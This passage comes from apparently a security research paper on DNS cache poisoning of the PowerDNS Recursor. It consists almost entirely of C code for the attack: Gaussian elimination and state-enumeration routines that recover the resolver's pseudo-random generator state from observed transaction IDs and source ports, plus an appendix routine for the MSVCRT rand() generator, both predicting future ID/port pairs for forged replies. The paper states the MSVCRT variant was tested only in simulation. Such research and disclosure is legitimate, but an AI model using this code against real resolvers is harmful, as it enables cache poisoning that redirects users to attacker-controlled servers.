(lf>>m)&1 is the m-th variable */ 
 for (i=0;i<31;i++) 
 { 
  lf[i]=1<<i; 
 } 
 for (i=31;i<2*size;i++) 
 { 
  lf[i]=lf[i-31]^lf[i-31+28]; 
 } 
  
 /* prepare the equations */ 
 equation_count=0; 
 for (i=0;i<2*size-31;i++) 
 { 
  carry=Llsb[i+31]^(Llsb[i]^Llsb[i+28]); 
  if (carry==1) 
  { 
   a[equation_count++]=lf[i]; 
   a[equation_count++]=lf[i+28]; 
  } 
 } 
 for (i=0;i<equation_count;i++) 
 { 
  b[i]=1; 
 } 
 
 /* solve the equations using the standard Gauss el imination */ 
 /* at the end of the day, known[] will contain the  list of variables which can 
be calculated */ 
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 /* and free[] will contain the list of variables w hich need to be enumerated */ 
 
 current_line=0; 
 free_count=0; 
 
 /* enumerate (and try to eliminate) the 31 variabl es */ 
 for (var=0;var<31;var++) 
 { 
  /* switch to an equation with bit i set, if possi ble. May "switch" with 
itself... */ 
  for (j=current_line;j<equation_count;j++) 
  { 
   if ((a[j]>>var) & 1) 
   { 
    /* swap the lines and exit loop */ 
    tmp_a=a[current_line]; 
    tmp_b=b[current_line]; 
    a[current_line]=a[j]; 
    b[current_line]=b[j]; 
    a[j]=tmp_a; 
    b[j]=tmp_b; 
    break; 
   } 
  } 
 
  if ((a[current_line]>>var) & 1) 
  { 
   /* eliminate variable i */ 
   for (j=current_line+1;j<equation_count;j++) 
   { 
    if ((a[j]>>var) & 1) 
    { 
     a[j]^=a[current_line]; 
     b[j]^=b[current_line]; 
    } 
   } 
   known[current_line++]=var; 
  } 
  else 
  { 
   /* free bit */ 
   free[free_count++]=var; 
  } 
 } 
 
 /* enumerate over all free variables */ 
 for (s=0;s<(1<<free_count);s++) 
 { 
  for (i=0;i<free_count;i++) 
  { 
   X[free[i]]=(s>>i) & 1; 
  } 
 
  for (i=current_line-1;i>=0;i--) 
  { 
   X[known[i]]=b[i]; 
   for (k=0;k<31;k++) 
   { 
    if (k==known[i]) 
    { 
     continue; 
    } 
    X[known[i]]^=((a[i]>>k) & 1) & X[k]; 
   } 
  } 
 
  for (i=31;i<2*size;i++) 
  { 
   X[i]=X[i-31]^X[i-31+28]; 
  } 
 
  /* now X is fully known - verify it against all c arry values */ 
  good=1; 
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  for (i=0;i<2*size-31;i++) 
  { 
   carry=Llsb[i+31]^(Llsb[i]^Llsb[i+28]); 
   if (carry!=(X[i] & X[i+28])) 
   { 
    good=0; 
    break; 
   } 
  } 
  if (good) 
  { 
   /* for this X, proceed to next phases */ 
   next_phases(trxid,P,size,X); 
  } 
 } 
 
 return; 
} 
 
void next_phases(int trxid[],int P[],int size,int X []) 
{ 
 int H[2*MAX_SIZE],L[2*MAX_SIZE]; 
 int R[2*MAX_SIZE+FORWARD_PREDICTION]; 
 int i,j; 
 int nontriv_count,nontriv[32]; 
 int tmp1,tmp2,R_out,R_out1,R_out2; 
 int s,enum_bit,nontriv_pos; 
 int good; 
 int net_trxid; 
 
 /* prepare L for even positions in 0..61 */ 
 for (i=0;i<31;i++) 
 { 
  L[2*i]=trxid[i]; 
 } 
 
 /* phase II - calculate L for odd positions in 31. .61 */ 
 for (i=0;i<31;i+=2) 
 { 
  L[i+31]=((((L[i]<<1)|X[i])+((L[i+28]<<1)|X[i+28]) )>>1) & 0xFFFF; 
 } 
 
 /* phase III - calculate L for odd positions in 0. .30 */ 
 for (j=29;j>=1;j-=2) 
 { 
  L[j]=((((L[j+31]<<1)|X[j+31])-((L[j+28]<<1)|X[j+2 8]))>>1) & 0xFFFF; 
 } 
 
 /* Now we have L for all positions 0..61 */ 
 
 /* phase IV - calculate V for all odd positions in  0..61 */ 
 
 /* first, count the number of non-trivial cases */  
 nontriv_count=0; 
 for (i=1;i<62;i+=2) 
 { 
  tmp1=(P[(i-1)/2]-L[i]); 
  if (tmp1 & 1) 
  { 
   printf("ERROR: tmp1 is not even - impossible.\n" ); 
   exit(0); 
  } 
  
  /* 31752*32768 = 1 mod 32255 */ 
  tmp2=(31752*(32255+(tmp1>>1)))%32255; 
  if (tmp2<(32768-32255)) 
  { 
   nontriv[nontriv_count]=i; 
   nontriv_count++; 
  } 
 } 
 nontriv[nontriv_count]=-1; 
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 /* Still in phase IV - enumerate over possible sol utions */ 
 for (s=0;s<(1<<nontriv_count);s++) 
 { 
  /* phase IV - calculate H */ 
  nontriv_pos=0; 
  for (i=1;i<62;i+=2) 
  { 
   tmp1=(P[(i-1)/2]-L[i]); 
   tmp2=(31752*(32255+(tmp1>>1)))%32255; 
   if (nontriv[nontriv_pos]==i) 
   { 
    enum_bit=(s>>nontriv_pos) & 1; 
    H[i]=(enum_bit==0) ? tmp2 : (tmp2+32255); 
    nontriv_pos++; 
   } 
   else 
   { 
    H[i]=tmp2; 
   } 
  } 
 
  for (i=1;i<62;i+=2) 
  { 
   R[i]=(H[i]<<17)|(L[i]<<1)|X[i]; 
  } 
 
  /* Now we have R for all odd positions in 0..61 * / 
 
  /* phase V - reconstruct R for all even positions  in 31..61 */ 
 
  for (i=1;i<31;i+=2) 
  { 
   R[i+31]=(R[i]+R[i+28]); 
  } 
 
  /* phase VI - reconstruct R for all even position s in 0..30 */ 
  for (j=30;j>=0;j-=2) 
  { 
   R[j]=R[j+31]-R[j+28]; 
  } 
 
  /* phase VII - verify with all we've got */ 
  for (i=31;i<2*size+FORWARD_PREDICTION;i++) 
  { 
   R[i]=R[i-31]+R[i-31+28]; 
  } 
 
  good=1; 
  for (i=0;i<size;i++) 
  { 
   R_out=(R[2*i]>>1) & 0x7FFFFFFF; 
   if ((R_out & 0xFFFF)!=trxid[i]) 
   { 
    /* No good - skip this solution */ 
    good=0; 
    break; 
   } 
   R_out=(R[2*i+1]>>1) & 0x7FFFFFFF; 
   if ((R_out%64510)!=P[i]) 
   { 
    /* No good - skip this solution */ 
    good=0; 
    break; 
   } 
  } 
  if (good) 
  { 
   for (i=2*size;i<2*size+FORWARD_PREDICTION-1;i++)  
   { 
    R_out1=(R[i]>>1) & 0x7FFFFFFF; 
    R_out2=(R[i+1]>>1) & 0x7FFFFFFF; 
    net_trxid=R_out1 & 0xFFFF; 
    if (host_is_little_endian) 
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    { 
     net_trxid=swap(net_trxid); 
    } 
    report(i-2*size,net_trxid,(R_out2%64510)+1025);  
   } 
  } 
 } 
 
 return; 
}  
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Appendix E – attack() for MSVCRT 

For a data set containing 1-2 queries, it typically executes in less than 1 

millisecond on an IBM ThinkPad T60 laptop with Intel Centrino CoreDuo T2400 

CPU @1.83GHz and Windows XP SP2 operating system – certainly a moderately 

powered machine. 

Note that this algorithm was tested against a simulation using the MSVCRT rand() 

– it was not tested against a live PowerDNS server running on Windows. 

 

void attack(int trxid[],int P[],int size) 

{ 

 int R[2*MAX_SIZE+FORWARD_PREDICTION]; 

 int i,s,state,net_trxid; 

 

 for (i=0;i<size;i++) 

 { 

  if (trxid[i]>=32768) 

  { 

   printf("ERROR: TRXID>=32768\n"); 

   exit(0); 

  } 

  R[2*i]=trxid[i]; 

  if (P[i]>=32768) 

  { 

   printf("ERROR: adjusted port >=32768\n"); 

   exit(0); 

  } 

  R[2*i+1]=P[i]; 

 } 

 

 for (s=0;s<(1<<16);s++) 

 { 

  state=(R[0]<<16)|s; 

  for (i=1;i<2*size;i++) 

  { 

   state = 214013*state+2531011; 

   if (((state >> 16) & 0x7FFF)!=R[i]) 

   { 

    break; 

   } 

  } 

  if (i!=2*size) 

  { 

   continue; 

  } 

 

  for (i=2*size;i<2*size+FORWARD_PREDICTION;i++) 

  { 

   state = 214013*state+2531011; 

   R[i]=(state >> 16) & 0x7FFF; 

  } 

 

  for (i=2*size;i<2*size+FORWARD_PREDICTION-1;i++) 



PowerDNS Recursor DNS Cache Poisoning   

   

25   

  { 

   net_trxid=R[i]; 

   if (host_is_little_endian) 

   { 

    net_trxid=swap(net_trxid); 

   } 

   report(i-2*size,net_trxid,(R[i+1]%64510)+1025); 

  } 

 } 

 

 return; 

} 


